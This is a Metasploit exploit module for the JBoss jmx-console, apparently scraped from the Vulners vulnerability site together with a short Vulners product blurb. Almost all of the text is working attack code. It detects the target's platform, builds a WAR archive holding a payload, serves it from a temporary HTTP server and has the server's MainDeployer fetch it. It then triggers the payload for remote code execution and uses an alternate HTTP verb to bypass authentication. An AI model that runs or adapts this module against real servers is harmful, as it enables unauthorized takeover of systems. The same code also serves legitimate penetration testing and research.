##
# $Id: jboss_maindeployer.rb 10754 2010-10-19 22:24:33Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss JMX Console Deployer Upload and Execute',
'Description' => %q{
This module can be used to execute a payload on JBoss servers that have
an exposed "jmx-console" application. The payload is put on the server by
using the jboss.system:MainDeployer functionality. To accomplish this, a
temporary HTTP server is created to serve a WAR archive containing our
payload. This method will only work if the target server allows outbound
connections to us.
},
'Author' => [ 'jduck', 'Patrick Hof' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10754 $',
'References' =>
[
[ 'CVE', '2007-1036' ],
[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
[ 'OSVDB', '33744' ],
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
],
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# detect via /manager/serverinfo
#
[ 'Automatic', { } ],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
#
# Java version
#
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true
}
}
]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('SHELL', [ false, 'The system shell to use', 'automatic' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
], self.class)
end
def auto_target
print_status("Attempting to automatically select a target...")
if not (plat = detect_platform())
raise RuntimeError, 'Unable to detect platform!'
end
# TODO: detection requires HTML parsing
arch = ARCH_X86
# see if we have a match
targets.each { |t|
if (t['Platform'] == plat) and (t['Arch'] == arch)
return t
end
}
# no matching target found
return nil
end
def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
verb = 'GET'
if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
verb = 'HEAD'
end
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target()
if (not mytarget)
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
arch = mytarget.arch
# Find out which shell if we're using a Java target
if (mytarget.name =~ /Java/)
if not (plat = detect_platform())
raise RuntimeError, 'Unable to detect platform!'
end
case plat
when 'linux'
datastore['SHELL'] = '/bin/sh'
when 'win'
datastore['SHELL'] = 'cmd.exe'
end
print_status("SHELL set to #{datastore['SHELL']}")
else
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
end
# We must regenerate the payload in case our auto-magic changed something.
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
# Generate the WAR containing the payload
if (mytarget.name =~ /Java/)
@war_data = Msf::Util::EXE.to_war(p.encoded,
{
:app_name => app_base,
:jsp_name => jsp_name
})
else
exe = generate_payload_exe(
{
:code => p.encoded,
:arch => arch,
:platform => plat
})
@war_data = Msf::Util::EXE.to_jsp_war(exe,
{
:app_name => app_base,
:jsp_name => jsp_name
})
end
#
# UPLOAD
#
resource_uri = '/' + app_base + '.war'
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
if (datastore['WARHOST'])
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri
end
print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
if (verb == "POST")
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'vars_post' =>
{
'action' => 'invokeOpByName',
'name' => 'jboss.system:service=MainDeployer',
'methodName' => 'deploy',
'argType' => 'java.lang.String',
'arg0' => service_url
}
})
else
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'vars_get' =>
{
'action' => 'invokeOpByName',
'name' => 'jboss.system:service=MainDeployer',
'methodName' => 'deploy',
'argType' => 'java.lang.String',
'arg0' => service_url
}
})
end
if (! res)
raise RuntimeError, "Unable to deploy WAR archive [No Response]"
end
if (res.code < 200 or res.code >= 300)
case res.code
when 401
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
raise RuntimeError, "Upload to deploy WAR archive [#{res.code} #{res.message}]"
end
# wait for the data to be sent
print_status("Waiting for the server to request the WAR archive....")
waited = 0
while (not @war_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > 30)
raise RuntimeError, 'Server did not request WAR archive -- Maybe it cant connect back to us?'
end
end
print_status("Shutting down the web service...")
stop_service
#
# EXECUTE
#
print_status("Executing #{app_base}...")
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 3 seconds inbetween tries
num_attempts = 5
num_attempts.times { |attempt|
res = send_request_cgi({
'uri' => '/' + app_base + '/' + jsp_name + '.jsp',
'method' => verb
}, 20)
msg = nil
if (! res)
msg = "Execution failed on #{app_base} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
elsif (res.code == 200)
print_good("Successfully triggered payload at '#{uri}'")
break
end
if (attempt < num_attempts - 1)
msg << ", retrying in 3 seconds..."
print_error(msg)
select(nil, nil, nil, 3)
else
print_error(msg)
end
}
#
# DELETE
#
# XXX: Does undeploy have an invokeByName?
#
print_status("Undeploying #{app_base} ...")
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'vars_post' =>
{
'action' => 'invokeOpByName',
'name' => 'jboss.system:service=MainDeployer',
'methodName' => 'methodName=undeploy',
'argType' => 'java.lang.String',
'arg0' => app_base
}
}, 20)
if (! res)
print_error("WARNING: Undeployment failed on #{app_base} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
end
handler
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @war_data)
print_error("A request came in, but the WAR archive wasn't ready yet!")
return
end
print_status("Sending the WAR archive to the server...")
send_response(cli, @war_data)
@war_sent = true
end
# Try to autodetect the target platform
def detect_platform()
print_status("Attempting to automatically detect the platform...")
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation